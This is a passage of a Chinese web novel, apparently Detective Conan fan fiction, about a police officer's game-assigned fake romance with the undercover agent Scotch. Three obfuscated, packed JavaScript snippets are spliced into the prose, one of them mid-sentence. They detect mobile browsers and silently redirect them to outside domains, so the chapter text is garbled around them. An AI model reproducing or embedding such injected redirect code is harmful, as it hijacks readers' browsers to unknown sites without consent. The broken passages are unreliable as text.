想到某种可能性,一之羽巡皱眉:“等等——萩原,你不会是……” 萩原研二的心脏骤然漏了一拍:怎么办一时得意忘形一不小心说过头了以一之羽巡的敏锐程度一定会…… 一之羽巡一脸严肃:“你不会是被我传染了吧?” “对不起我没想让你困扰的我只是——”萩原研二话音戛然而止:“……嗯?” “都烧到说胡话了,怪不得早上起不来,别走了我先送你去医院。” 萩原研二:“………………” 萩原研二:“哈哈,不了,我还是更喜欢上班。” 13.013 一之羽巡最终还是没能战胜萩原研二想要上班的决心,他一路跟着萩原研二到了警视厅,又在机动队坐了一会儿,等其他人来了,这才放心离开。 带病也要坚持工作,原来萩原这么喜欢上班吗?一之羽巡觉得有点儿奇怪,毕竟真那么热爱工作,以萩原研二的水准,怎么会警衔比他低三级。 同一时间,警察厅的人比警视厅密集不少,一之羽巡穿过办公区,跟相熟的同僚一一打过招呼,习惯性检查了他的花。 隐约有开放的迹象,花蕾隐约透着点儿蓝色。 “一之羽,早啊……”忍足警官像只游魂一般脚步虚浮地飘过。 “早啊,忍足警官。” 忍足警官的小组昨晚通宵加班,这对这间办公室里的人来说不算特别,不过他会知道这件事主要是因为忍足警官昨夜找他支援,让他帮忙远程分析一下某桩案子。 “你今天来晚了。”忍足警官瘫在椅子里,“但是还是比别人早。” 一之羽巡放下喷壶:“案子已经解决了吗?” 通宵加班是真的,结案的成就感也是真的,奖金更更更是真的,忍足警官伸了个懒腰,竖起大拇指为人美心善二十四小时在线援助的后辈点赞:“托你的福,完事了,周末你别加班了,我请你吃饭!” “吃饭就算了,小事而已,有帮上你们就好。” “别啊,给我个机会,算我求你了你周末能不能给自己放一次假……等一下!”忍足警官突然反应过来一件事:“你最近两周周末是不是都不在厅里?” “可能是你来的时候我正好在警视厅那边吧。”一之羽巡随口把这个话题带过去:“吃早饭了吗?我带了三明治。” “吃!”做出这个回答根本不需要经过大脑思考,忍足警官摸着下巴,继续分析:“我上周末一直在办公室,没看到你啊,而且谁会没事儿跑去警视厅待一整天,那边根本不待见公安,就算你是一之羽巡也不管用。” 越想越越觉得有鬼,忍足警官的眼神逐渐锐利起来:“昨晚通电话的时候,你家里还有别人。” “你想哪儿去了,朋友借宿而已。”一之羽巡无奈道:“昨晚跟我说话的是机动队的萩原,你也见过的。” “奥,萩原研二?那个很会说话那个……休想转移话题!” 忍足警官直击要害:“那你这周周末还来加班吗?” 一之羽巡面不改色:“那要看我有没有其他安排。” “其他安排?你蒙谁呢?你连过年都加班!” 熬了一个通宵的忍足警官一下子腰不疼了腿也不酸了,横扫困意,彻底精神起来:“你周末见不着人是从飞鸟长官找你那时候开始的,飞鸟长官找你是给你牵了根红线介绍对象。” 忍足警官:“你谈恋——” 一之羽巡眼疾手快地往忍足警官的嘴里塞了个三明治,手动打断施法。 “@¥#%……&*@!”忍足警官嚼了嚼,“在哪买的?还挺好吃的。” “我做的,明天给你带一份?” 忍足警官一副看穿一切的模样,得寸进尺:“那后天的也拜托了,我帮你保密哈。” “就算不帮我保密我也可以给你带的。” “够了,你能不能不要理所当然地讲那种会让我良心不安的话了……” …… 一之羽巡倒是不在意被别人知道自己在谈恋爱,否则也不会直接告诉萩原研二和松田阵平,飞鸟长官当初强调过要把苏格兰当成真正的恋人来对待,那在熟人面前坦坦荡荡承认合情合理。 但朋友和同事多少还是有区别的,尤其是他这间办公室里一屋子人精,最擅长的就是分析解读,很难保证谁不灵光一闪把恋爱跟任务联系起来,多一事不如少一事。 第一次和苏格兰见面是在年后复工的第一个周末,他们一起看了海、吃了甜品,第一次见面,也第一次牵手;第二次见面是今年的第二个周末,苏格兰送了他北海道特产,他们吃了法餐,第一次拥抱,还去了他的公寓;第三次见面是工作日,苏格兰送了他一副眼镜后匆匆离开;第四次见面是在前晚,他们在一场晚宴上意外碰到,他昧着良心放怎么看怎么可疑的苏格兰离开现场,被系统判罚。 ……进度太慢了。 一之羽巡坐在约好的店里安静等待,双手手指交叉,垂眸沉思。 苏格兰对好感度的增减很精细,那显而易见是个心思极其细腻的人,加上这份职业的特殊性质加持,他不得不更加谨慎克制,抑制情绪日渐成为和呼吸一样习以为常的事。 他们这段关系太过刻板化,纵然不理解为什么会有这种奇怪的任务,但丝毫不影响他们想认真完成这个任务,然而防备心太重且各种原因下无法真正了解对方,每次独处时需要营造一定氛围关系才能有所进展,这也是每次见面时他都会以练习为由做一些简单的肢体接触拉近距离的原因。 今天牵过手,下次见面时牵手就变得理所当然,这次拥抱了,下次见面时远远就张开手臂抱一下在思维习惯上也会觉得这是很正常的事。 部分地下情侣在同居后就会容易被识破,因为对另一个人身体的熟悉和相处中的零边界感是自然流露的无法伪装,他曾经以此侦破了一个第三者凶杀案。 他不希望看到这个任务的最终评分在90以下,那会拉低他迄今为止的综合得分,然而即使刻意刷过,苏格兰对他的好感度至今甚至还没能突破20。 “巡。” 头顶传来熟悉的嗓音,一之羽巡暂且斩断思绪,一秒入戏,抬头笑道:“苏格……” 他声音顿了顿:“……兰?” 【****(苏格兰):+20】 苏格兰低声道:“我来晚了。” 一之羽巡盯着苏格兰的头顶,索性苏格兰在桌边站着,他仰着头看也没什么不对。 他可能是看错了小数点,误以为刚刚闪过了一条两位数的好感度提醒。 “你没迟到,是我太想见你了,不小心来早了而已。” 苏格兰把背着的乐器包放下,自己也在桌旁坐下:“我从任务现场赶过来的,没来得及换衣服,抱歉。” 一之羽巡敢断定那个乐器包里除了乐器以外还有别的东西,重量不对。 这还是苏格兰第一次在他面前直接提及涉及自身身份的话语,或许是觉得飞鸟长官的任务比他目前在执行的另一项任务更加重要,也可能是因为那晚意外撞见觉得已经没必要对这层身份遮遮掩掩,总之算是好事。 一之羽巡单手托着下巴,笑着说:“干嘛因为这种事道歉……我们今天正好都穿了蓝色,心有灵犀。” 默契肯定是不存在的,他当然是特意买的,否则除了警服他根本没有蓝色的衣服,早前想好的说辞是“因为苏格兰的眼睛是蓝色所以买衣服的时候不由自主就选了蓝色呢”,现在看来不用废话了。 【****(苏格兰):+20】 “……?” 什么玩意儿一个20一下闪就过去了。 一之羽巡静止了整整一秒钟,思考苏格兰刚刚是不是给他扣了20好感度。 上一个好感度为负的人还不知道是从哪里冒出来的,他无所谓别人怎么看他,但苏格兰现在是他的任务搭档,他必须保证任务的完整性。 他皱眉:“苏格兰,你今天……” 【****(苏格兰):+20】 ……不对。 哪里变了。 一之羽巡止住话音,苏格兰缓缓抬起头,目光相接的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440219|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一之羽巡的眼睛不受控制地睁大。 那双温润的蓝眸中流转着爱意,仿佛一潭死水开始流动,水面随之泛起涟漪,苏格兰低声说:“巡,对不起。” 一之羽巡隐隐察觉到了什么,莫名有些激动,盯紧那双眼睛,配合地说:“为什么又道歉?” 苏格兰的手落在他无意识叩着桌面的手指上,轻轻握住,而后堂而皇之地覆盖了整只手,温暖干燥的手指插入指缝。 不太合时宜,一之羽巡再次想,这双手一定惯于用枪,而且勤于练习,真想在射击场上比一次试试。 “我让你感到为难了吗?我知道的,那晚你完全可以不帮我……甚至是逮捕我,就像你逮捕任何一个嫌疑人时一样。” 【****(苏格兰):+20】 一之羽巡的唇角略微上扬,他很快便将那抹微不可见的弧度强行压下去,那实在太破坏氛围。 不知道是什么给了苏格兰灵感,苏格兰在尝试诱导自己忽略任务本身,只把注意力放在他们正在恋爱上。 他们在这段时间里会在任务上进展迟缓不是因为他们中有人消极怠工,正是因为无论是他还是苏格兰都总是在想这是一个重要的任务必须严阵以待,所以才反复被自己提醒,他们的恋爱关系是假的。 ——但飞鸟长官对这个任务唯一的附加要求就是:一切以这是一场真正的恋爱为前提,把对方当作自己真正的恋人来对待。 一之羽巡有些惊叹,甚至是无法抑制地佩服起面前这个跟自己年龄相仿的青年。 以体验派演技为锚点,建立出独立运行且能自主控制对外好感度的逻辑模式,一个人能自控到如此夸张的境地,那日常生活中会按照小数点来加减好感度似乎也不值得意外了。 一个能随自身需求随意控制对其他人的好感度数值的NPC,狗策划竟然能想到这种好玩的设定,这可比跟一个演技中上的演员对戏一个月要有趣得多。 “我知道你有事瞒着我。”一之羽巡不甘落于下风,缓缓说道:“没错,我很在意这件事,也一直在暗中调查。” “我该怎么做?”苏格兰握紧他的手,仿佛在无声诉说着对恋人的挽留:“你希望我怎么做?” “如果注定无法坦诚相待,那就使尽浑身解数继续隐瞒下去,别让我抓到你的把柄。” 诸伏景光看到一之羽巡那双仿佛永远平静的黑眸中渗出些许笑意,那双眼睛深得过分,配合眼底的黑眼圈和过白的皮肤透着病态。他有一种模糊的预感,那位仿佛永远立于不败之地的警界之星说着赢,但渴望的竟然是成为输家。 比起一个爱着自己的恋人,他更期待的是一个能赢过自己的恋人。也可能是,为了爱着的人,为了这份爱能够维持下去,一个永远在赢的人渴望在某个特定的人面前输一次。 一之羽巡反手握住了他的手,诸伏景光有一瞬出戏,从苏格兰的角色中剥离,那种夺走控场权的意识和野心太过不加掩饰,也让他骤然意识到,对方的演技甚至比他预估中还要夸张。 他是个体验派,一直以来通过收敛身上的某些特质来达成扮演【苏格兰】的目的,某种意义上也可以说,其实苏格兰就是他本人,但一之羽巡与他不同,那是一个彻头彻尾的演技派,且演技高超。 一之羽巡笑容淡薄,看起来却比过去任何一次都要清晰:“苏格兰,如果你真的爱我,那就赢过我,用剩下的时间证明给我看,你爱我比我爱你更多。” 对视间,诸伏景光的脑海自动翻译了那句话:用剩下的时间来证明,对于这个任务,你能做到的比我能做的更多。 【****(苏格兰):+8.4】 【****(苏格兰):100/100】 【距离分手还有:14天】 14.014 不知道苏格兰怎么突然就开窍了,总之这次见完苏格兰以后一之羽巡可谓是神清气爽,觉得这个支线任务评分拿90以上指日可待! 但当天晚上有人轻轻敲了敲他卧室的玻璃的时候,跟窗外那个黑乎乎的影子面面相觑,他还是罕见地茫然了几秒钟。 一之羽巡迟疑出声:“……苏格兰?” 有节奏的敲击声停下了。 ……还真是啊。 他不是没认出来,是没敢认。 一之羽巡下床打开窗:“你怎么来了?” 苏格兰从窗户跳进来。他身高有一米八几,落地时却像只猫一样轻巧,没发出任何多余的声响。 “我想见你。” 一之羽巡秒懂:来刷存在感的,符合新人设。 “我们今天才见过。” “马上就过零点了,就要到明天了。” 一之羽巡竟然无力反驳,他揉揉头发,发出灵魂疑问:“为什么不走门?” “到处都是监控……而且住在这里的警察太多了。” 很好,依然符合人设,和他白天猜的一样,苏格兰果然是抛开任务本身,开始完全采用【苏格兰】这个身份来恋爱了。 一之羽巡在窗口探头看了一眼,确认过没有问题后迅速关窗,叮嘱:“下不为例,就这么爬上来未免太危——” 一具裹挟着冷风的身体从身后拥上来。 “……险。”他还是把那句话说完了。 这个拥抱和过去每次以练习为名出现的拥抱都不一样,几乎是将他整个人挤压向胸口,硬要说的话,跟在藤原家晚宴上的挟制倒是有点像,带着几分不容置喙的强势。 外面温度略低,随着外套一起进入屋内的寒意穿透不算厚的睡衣直达体表,一之羽巡生理性地打了个冷颤。 在苏格兰彻底把他压在怀里的前一刻,他挣扎着一把拉上了窗帘。 身后的那具身体显然经过系统的锻炼,肌肉恰到好处,紧贴在一起时产生的温度几秒之间便抵消了室外的寒风,距离太近,温热的呼吸打在颈侧,一之羽巡下意识歪头避开,苏格兰却仿佛误会了什么,顺势将下巴压在了他颈侧。 短短的胡茬直接扎在皮肤上,有点痒。他一直在猜测苏格兰的实际年龄比自己小,因为那张脸看起来并没有本人给人的感觉那般成熟,故意留着胡茬可能是为自己增加阅历感,效果确实有,但很有限,毕竟发型胡子神情都是附加因素,底子改不了,再怎么折腾那张脸看久了给人的印象都是清俊雅致。就像他一直试图通过发型和微笑的弧度来改变不近人情的第一印象,然而收效甚微。 ……一个两个,胸肌都还挺发达的。 一之羽巡想起了昨晚留宿的萩原研二,思考自己是不是也该专门练练,最近去健身房的频率的确照以往低了不少。 小数点哥疯了一样一口气把好感度拉爆以后,整个人的即视感都错乱了。 有趣的是,比起计划被打乱以及被对方夺走控场权的烦躁,他更多感到的是兴奋。 他有一种模糊的感觉,苏格兰不是开始正视这个任务于是演技全开,而是彻底释放自己,放下了最初单纯依靠演技解决问题的念头。 虽然不知道契机如何,但对于一个理性克制到极致的人来说,这才是更难的。 太敬业了。他一向欣赏这种人,如果是对手,那能为工作增添不少刺激感,如果是队友,那自然再好不过,事半功倍。 假如这个人既是对手又是队友,事情就要有趣起来了。 不愧是飞鸟长官任务里的NPC,一之羽巡在心中感慨。一想到这个任务还有不到半个月就要结束了,他竟然生出几分惋惜,他已经很久没触发过这么特别的任务了。 一之羽巡默算着时间,这个拥抱的效果已经达到了,他不知道苏格兰做出这个动作出于什么目的,但至少他现在真的对苏格兰产生了全新的态度。 那就代表,苏格兰差不多可以松开他了。 他和苏格兰之间总是存在各种信息差,不过这不影响他们即使没对上信号也接收到新信息。 果然,束缚着他的那双手缓缓卸下力道,一之羽巡看了眼表,时间分毫不差,刚过零点。 “你要在我这里住一晚吗?” 苏格兰摇摇头:“我还有事。” 一之羽巡只是象征性问问,没准备真让人留宿。 虽然苏格兰真要留下来他也不会赶人走就是了。 诸伏景光是在和莱伊闲聊过后临时决定过来的,他旁敲侧击了莱伊的恋情,对比发现了自己这段恋情中的盲区——他和一之羽巡几乎只在周末见一次。喜欢一个人就会想见面,这实在很有说服力,但这栋公寓附近的监控和刚下夜班的警察也很有说服力,爬窗也是无奈之举。 他来过这间公寓,不过进卧室还是第一次,诸伏景光习惯性观察了一下周围环境,试图从中判断房间主人的生活,目光触及床上的两个枕头时微顿。 他盯着那两个枕头,侧头问:“你习惯睡两个枕头吗?”他这样问着,但目光仍旧落在靠床内侧的那只枕头上。 一之羽巡随口道:“昨晚朋友过来住,忘收起来了。” 想到了某个画面,诸伏景光微微蹙眉,沉默几秒,还是说了下去:“其实你住院的那天,我去看过你。” 一之羽巡这回是真的有些意外了,看来苏格兰不是昨天才改变任务思路的,很有可能在他高烧住院那天就已经变了。他问:“嗯?什么时候?” “我去的时候你还没醒。” 一之羽巡敏锐地察觉到苏格兰还有话没说完,追问:“然后呢?” “……看到那里有人,我就先走了。” “是我的朋友,就是他昨晚在我这里留宿。” 诸伏景光点点头,及时终止了这个话题。 他盯着窗帘的缝隙,夹缝中依稀能看到两人在玻璃上的倒影,脑海中的从另一个缝隙中看另外两人的画面不受控制浮现在眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15444582|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 病床旁边的青年静立许久,俯身,中途停顿了一会儿,而后小心抬手,似乎像是想用指节触碰病床上双眼紧密的病人的脸颊,但还未真正触及就仿佛如梦初醒般迅速收回,警觉地转身看向周围,大概是在确认刚刚有没有没人注意到。 他迅速闪身躲在门后,几秒后,听到病房内的人长叹了口气,像是松了口气,又像是无奈。 “你和那位朋友……我的意思是说,你们两个的关系是……?” 一之羽巡愣了一下,随即噗嗤笑出声。诸伏景光不确定一之羽巡以为这是吃醋还是一之羽巡真的被这个问题逗笑了。 他还是第一次看到那人笑得那么轻松。 不过即使没回答,他也得到了答案。 诸伏景光骤然松了口气。他和一之羽巡的关系是假的,但不代表告诉他他的任务搭档是朋友的恋人他也依旧能心如止水——虽然那并不影响他极力完成这项任务。 那一之羽巡和萩原……他们两个究竟是什么关系? 早前在翻阅一之羽巡的资料时就已经知晓了这人和萩原认识,但那天的情景……看着不像只是普通朋友那么简单。 “你想哪儿去了?”一之羽巡的声音里还依稀听得出没散尽的笑意:“我和他当然只是朋友啊。” “虽说我以前没交过女朋友,但我也没交过男朋友啊,和你在一起只是因为喜欢你而已,苏格兰。” 的确,从来没有哪份资料表示,一之羽巡喜欢同性。 这个人一直勤勤勉勉兢兢业业,几乎全年无休,将自己的一切奉献给社会和国家。 【你的搭档一直向我表示一切顺利,不过据我所知,这个任务目前似乎并不是很乐观。你们两位都是我最优秀的部下之一,放在一起本该可以达到‘1+1>2’的效果……我知道,你潜意识里还是认为,一个合格的卧底搜查官怎么可能做出在任务期间恋爱这种荒唐事,所以无法把一之羽君当作自己真实的恋人,但不要忽略,现在和一之羽君恋爱的人是苏格兰,也只是苏格兰而已。】 他收到了那则消息,被一语点醒,同时也生出无数困惑。 【这个任务究竟有什么深意?】 那条消息石沉大海,没能等来回复。 时间差不多了,他表明了自己的态度,一之羽巡也表明了态度,目的达到,他已经可以离开了。 况且他今晚的确还有事要做。 诸伏景光站在窗边,看着浓重的夜色,想起另一个被光照进来的深夜,他转头问:“那晚帮我的事,你有和飞鸟长官汇报过吗?” 面对他最后的问题,对他仿佛知无不言的一之羽巡这一次只是微笑,没有回答。 或许是因为这不会是苏格兰想知道的,这是只有诸伏景光才会问的问题,而诸伏景光对一之羽巡来说无关紧要,无需回答。 他换了个结束语:“那……晚安?” “晚安,苏格兰。” 【距离分手还有:13天】 15.015 一之羽巡当然没在飞鸟长官面前提过自己帮苏格兰脱身的事。为了一个任务忽略另一个案件,这不值得称道,错就是错,即便把真凶送进了监狱也不例外。 连游戏系统都判定他失职,他怎么可能会拿这件事到顶头上司面前说。 不过他有种预感,即使没说飞鸟长官也自有渠道知道,对方没问,他就顺势假装没发生过。 最近苏格兰像个Bug一样随时刷新在他附近,大多时候行色匆匆,见一面说几句话后就匆匆离开,偶尔会给他塞一些地方特产,就像是在向不关注自己行程的恋人报备自己不见人影的时候都去了哪里。 又一次在午休时间跑出去的一之羽巡看着摆在桌上的礼品袋,揉了揉太阳穴。 还礼是一部分,隔三差五在工作途中跑出来也是一部分,虽说每次都贴心地挑了休息时间,但是这个世界有一个词叫做自愿加班。 飞鸟长官的任务的确特殊,但通关要求是成为红方的顶头上司,他现在只是警视,距离警察厅长官遥遥无期,工作上绝对不能懈怠。 飞鸟长官的任务是任务,公安课的任务也是任务。 “干嘛那副表情?” 忍足警官刚吃完午饭回来,心情甚好,路过看到:“哟,买了新领带啊,你终于知道打扮自己了,谈——额那个那个什么就是不一样了哈!” 坐下后他才发现不对劲,声音低了一点,问:“怎么了?大白天的一副找了半个月的嫌疑人突然自杀了的表情。” 一之羽巡言简意赅:“不是买的。” 忍足警官秒懂:“奥,又是那位送的。” 他凑近看了一眼:“这不是挺好的吗?你不喜欢?” “喜欢。”一之羽巡一脸严肃:“我只是觉得,最近的礼物未免太多了点。” “……这种烦恼你不想要可以让给我。” 忍足警官看后辈的表情,意识到那家伙竟然真的在因为这事困扰,或者再准确一点,那分明是为了工作被打断烦恼才更对。 他拍了拍某个身在福中不知福的家伙的肩膀,语重心长:“有没有一种可能,是你太忙了,她给你送礼物只是想多见你一面而已。” 一之羽巡抬头。 忍足警官一看那个反应就知道不妙,“嘶”了一声:“我说啊……她最近几乎一两天就来找你一次,好像是频繁了一点,但你平常有主动找过她吗?” 一之羽巡刚要开口,忍足警官打了个补丁:“周末约会不算!” “……”一之羽巡罕见地沉默了。 仔细一想,一直以来都是苏格兰找他,工作日那就来警察厅,休息日偶尔也要来警察厅,除了固定约会以外都是苏格兰主动来见他,爬楼爬窗,风雨无阻。 说因为工作忙也不成立,苏格兰明显也很忙,而且苏格兰还是冒着被警察撞见的风险——虽然不会有哪个警察平白无故就在大街上抓人,但总在这附近出没也容易被记住特征,况且苏格兰本身就不是什么大众脸。 思虑不周。 苏格兰比他敬业。 他早该想到的,他也该主动去找苏格兰。 “……我太不称职了。” “你刚刚说什么……”认识好几年,还是第一次听这位警界之星说自己哪里不好,忍足警官为这份爱情感动,化身知心前辈宽慰起来:“别这样说,作为恋人你已经很好了,你长得帅,工作稳定,前途无量,像你这样的——” 一之羽巡:“我指工作。” 忍足警官:“?” “我收回刚刚的话,把我的感动全部还给我!” …… 下班时间,一之羽巡准时离开工位。 他今晚约了苏格兰见面,不得不放弃加班。 苏格兰已经把能做的都做了,他一直自我感觉良好,但一对比下来完全不够看,但认真想想,真让他跑去苏格兰家里或者苏格兰工作的地方也不可取,时间不方便只是一方面,苏格兰身份特殊,很难保证他不会忍不住当场开始抓人。 公安课加班严重,不过警察厅部分文职部门还是会准时准点下班,一之羽巡顺着人群走出警察厅,刚要转弯,目光瞥过路对面,忽然顿了一下。 马路对面停着的某辆车引起了他的注意。 保时捷356A,他停下不是因为这辆车算是古董级,也不是因为它有多少见。 ……最近半个月,这已经不是他第一次见这辆车了。 他皱眉,脚下换了个方向,然而红路灯正好切换到红灯,他站在十字路口等待,口袋里的手机突然响起来。 一之羽巡快速拿出手机,看清来电名称,下意识拒接的手紧急停下。 他接通电话:“哥?” 【“巡,在忙吗?”】 一之羽巡的目光在红绿灯、古董车上来回切换,嘴上淡定回答:“刚下班,有什么事吗?” 【“我之前送给你的种子,算算时间,应该要开花了吧?”】 “是啊。” 【“太好了,巡,你那株是什么颜色的?”】 “还不确定呢,看着像是蓝色,不过也有可能是紫色的。” 绿灯刚亮,路对面的那辆古董车突然开走了,一之羽巡加快脚步,还是没能赶上。 “……啧!” 他磨了磨后槽牙,从车流中锁定那辆车快速记下车牌号,准备回头找交通部的人帮忙查一下。 【“巡?”】 【“……巡?你还在听吗?”】 一之羽巡换了只手听电话,“啊,抱歉,我在我在……你刚刚说什么?” 【“当初给你的那枚花种是第三代,第一代和第二代已经枯萎了,麻烦你花谢以后帮我收集一下花种吧。”】 “这有什么麻烦不麻烦的,放心交给我吧。” 挂断电话,一之羽巡在原地站了几秒,追车是不可能了,他久违地调出了种植版块。 整个种植乐园只关联了一株植物,那就是他养在公安课办公室的那盆花。 他以为这是个没用的版块,但飞鸟长官这一个月来偷偷摸摸给这盆花浇水,一之羽青词也一直很在意这盆花的状态,两者放在一起,他很难不多想。 但愿别是策划漏掉的伏笔。 他看了眼天色,火红的夕阳缓缓下沉,他把刚刚记下的车牌号发给交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15454616|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通部的熟人,回到刚刚的十字路口往家赶。 听了忍足警官的话,他决定为苏格兰做点什么,剩下的天数已经不多了,来不及准备太多隆重的东西表达爱意,不过准备一些小惊喜提供情绪价值还是绰绰有余的。 他们外出约会的计划大多由他策划,他会综合身边人的反响和推荐择优选择一家最适合的餐厅,也会提前研究特色菜和试吃,但最终苏格兰的反应无一例外都很平淡,并没有出现过想象中的惊喜感。 他知道苏格兰会做饭,并且厨艺大概率不错,既然怎么挑选特色餐厅都中规中矩,那不如趁着最后的机会另辟新径,试试亲手做一顿饭请苏格兰吃,至少把心意传达过去。 他准备从明天起每天准备一份爱心便当,苏格兰经常来找他,他没办法去找苏格兰,那就用便当代替,如果当天苏格兰没来找他,那就当作给自己加餐。 他一定会克制住自己,绝对不会在便当盒上装追踪器的。 回到家,刚打开门,一之羽巡忽然皱了下眉。 他站在门口环视了一周。 ……哪里不太对劲。 说不上来。 有人进来过。 也可能还没离开。 是苏格兰吗? 不,不对。 一之羽巡屏住呼吸,放轻脚步,走向出门时明明开着门此刻却房门紧闭的书房,按住门把手,猛地推开门—— 书房内空无一人。 他快步走进去,门后、窗帘后面连带着窗外也看了,没有异常,最终他的目光被摆在桌面正中央的小东西吸引,快步走过去,顺手从抽屉里拿出手套,小心拿起那样东西。 ——9毫米帕拉贝鲁姆弹,全球最广泛使用的手枪弹种之一。 无数枪型在一之羽巡脑海中迅速滑过:伯/莱/塔M92F、格/洛/克19、西/格/绍/尔P226……太多了,民用军用竞赛用,手枪冲锋枪卡/宾枪,想通过子弹反向推断留下这颗子弹的人使用的是什么枪很难。 有外人闯入却没留下任何多余的痕迹,闯入者一定是一个很谨慎的人,那又为什么会堂而皇之地留下这样一颗子弹? 那个人想用这颗子弹告诉他什么?是威胁还是警告?抑或是其他含义? ……究竟是谁? “一之羽警官,你在家吗?” 一之羽巡下意识把子弹握进掌心,警惕转身,从门口探进头的人一副松了口气的模样,“原来你在家,太好了……你忘记关门啦!” “让你费心了,谢谢。” “都是邻居,太客气了!” 一之羽巡关好门,看了一眼挂在墙上的时钟,距离苏格兰抵达的时间已经不多了。 他把那颗子弹用手帕包起来收进书房的抽屉,决定把苏格兰这边的事搞定再研究。 晚上九点,苏格兰没有赴约。 晚上十点,短信迟迟未回。 一之羽巡坐在餐桌旁思考良久,看着已经凉透的饭菜,觉得便当还是得选方便加热的菜式比较晚好。 晚上十二点,零点整,一之羽巡开始思考,其实便当盒上也可以酌情考虑加上追踪器。 16.016 晨光破开云层之际,一之羽巡终于等来了苏格兰的回信。 【抱歉,临时有事没能赴约,中午我去警察厅见你。】 【不用为这种事道歉的,中午见。】 一之羽巡把手机扔在桌子上,揉了把头发。 其实中午不见也可以,他昨晚没加班,今天的午休时间最好能留出来,不过苏格兰一定要来的话,正好可以把便当和昨晚的礼物送出去。 他伸了个懒腰,在客厅里活动了几下,促进坐了一整晚已经僵硬的四肢的血液流通循环,开始收拾残局。 麻利地把桌子上的菜收拾好,能放冰箱的放冰箱,不能放冰箱的就垃圾分类,给自己做了早餐,顺带给忍足警官做了一份,同时还准备好了给苏格兰的爱心便当。 他习惯一个人生活,独自完成这些事得心应手,如果有另一个人在场他反而容易不适应。 一之羽巡准时出了门。 路上行人不多,车流稀疏,蹲在光秃秃的树枝上的麻雀叽叽喳喳吵闹着。 “一之羽!” 一之羽巡循声望过去,一个熟悉的人影正从不远处大步跑过来。 一之羽巡有些意外:“萩原?” “早,去上班吗?一起走吧。” 绿灯正好亮起,一之羽巡和萩原研二并排穿过斑马线。 一之羽巡随口问:“松田警官呢?” 萩原研二有些郁闷:“你怎么这么关注小阵平?” “我也经常问松田警官你在哪,找不到你的时候去问他,他总是知道。” 一之羽巡看着枝桠上贴在一起的两只小麻雀,笑着解释:“你们两个就像双子星一样,哪一个单独出现都像是缺了点儿什么,下意识就想找找看另外那个在不在附近。” 萩原研二忍不住笑了:“小阵平他还没起呢。” “睡眠质量真不错……” 一月底,天气已经不再过分寒冷,但清晨的空气还是渗着丝丝缕缕的寒气,说话间唇角漫开白雾,又迅速消弭。 一之羽巡配合身旁那人的步伐,略微放慢了脚步。 “虽然这附近住了不少认识的人,不过我还是第一次在路上碰到熟人。” “是啊,真巧,说明我们很有缘分。” 萩原研二表面笑容灿烂,灵魂出窍哈欠连天。要不是上次留宿,谁能想到一之羽巡竟然会提前两个小时去上班,怪不得以前无论走哪条路都偶遇不到,原来根本不是他打开门的方式不对,是打开门的时间不对。 一个人怎么能做到这么发自内心地喜欢上班恨不得把所有时间精力都拿来上班的。 萩原研二悄悄看了一眼身旁的人,又做贼心虚一般快速收回了视线,一副凛然正气的模样。 把一切尽收眼底的一之羽巡:“……?” 自从萩原去大学办宣传讲座那会儿开始,给人的感觉就不太一样了,一时间说不上来哪里不对,一之羽巡也不知道怎么形容更好,最终感叹道:“年轻真好啊。” “你才二十几岁,还有好多时间呢,怎么也说这种话。” 萩原研二转头,一之羽巡望着前方,似乎有些出神,他顺着视线看过去,没发现有什么特别。 “说到年龄,一之羽,你喜欢比你年龄大的类型还是小一点的?”萩原研二暗戳戳夹带私货:“小一岁和同岁差不多。” 一之羽巡回过神:“我没想过这个。两种都好吧,年龄不重要,人对了就行,一定要说的话,我只喜欢我喜欢的人。” 萩原研二感觉胸口猝不及防插了一刀,再次被提醒,这个人已经有喜欢的人了并且喜欢到心甘情愿为对方做出改变,“……好的,我知道了。” “你呢?” ——他好奇我的择偶标准,他果然还是在意我的! 萩原研二极速充电,神采奕奕道:“我也只喜欢我喜欢的人,只想要那一个人。” “我们很默契呢。” 萩原研二瞄着一之羽巡的表情,轻咳一声,小声说:“不过一定要说的话,可能……应该,比我大一岁最好。” “这样吗?我就比你大一岁哦。” 萩原研二的眼睛刹那间迸发出光彩:“一之羽,你——” 一之羽巡:“要我介绍跟我同级的学姐给你认识吗?不过感觉有的人你可能比我熟。” 萩原研二笑容僵住,仿佛整个人被抽干了灵魂,有气无力道:“不用了,我现在还是更想把精力花在工作上……” 身旁的人沉默了一会儿,再次开口:“工作固然重要,不过也不要忽略掉身边的人和事,萩原,工作只是人生中很小一部分而已。” 很普通的劝诫,从小到大从很多地方在不同人嘴里听过很多类似的话,但这种话被一心扑在工作上的一之羽巡说出来总是显得有些违和。 最终,萩原研二只能在心里含泪告诉自己,一之羽巡恋爱以后,甚至连工作都不放在第一位了。 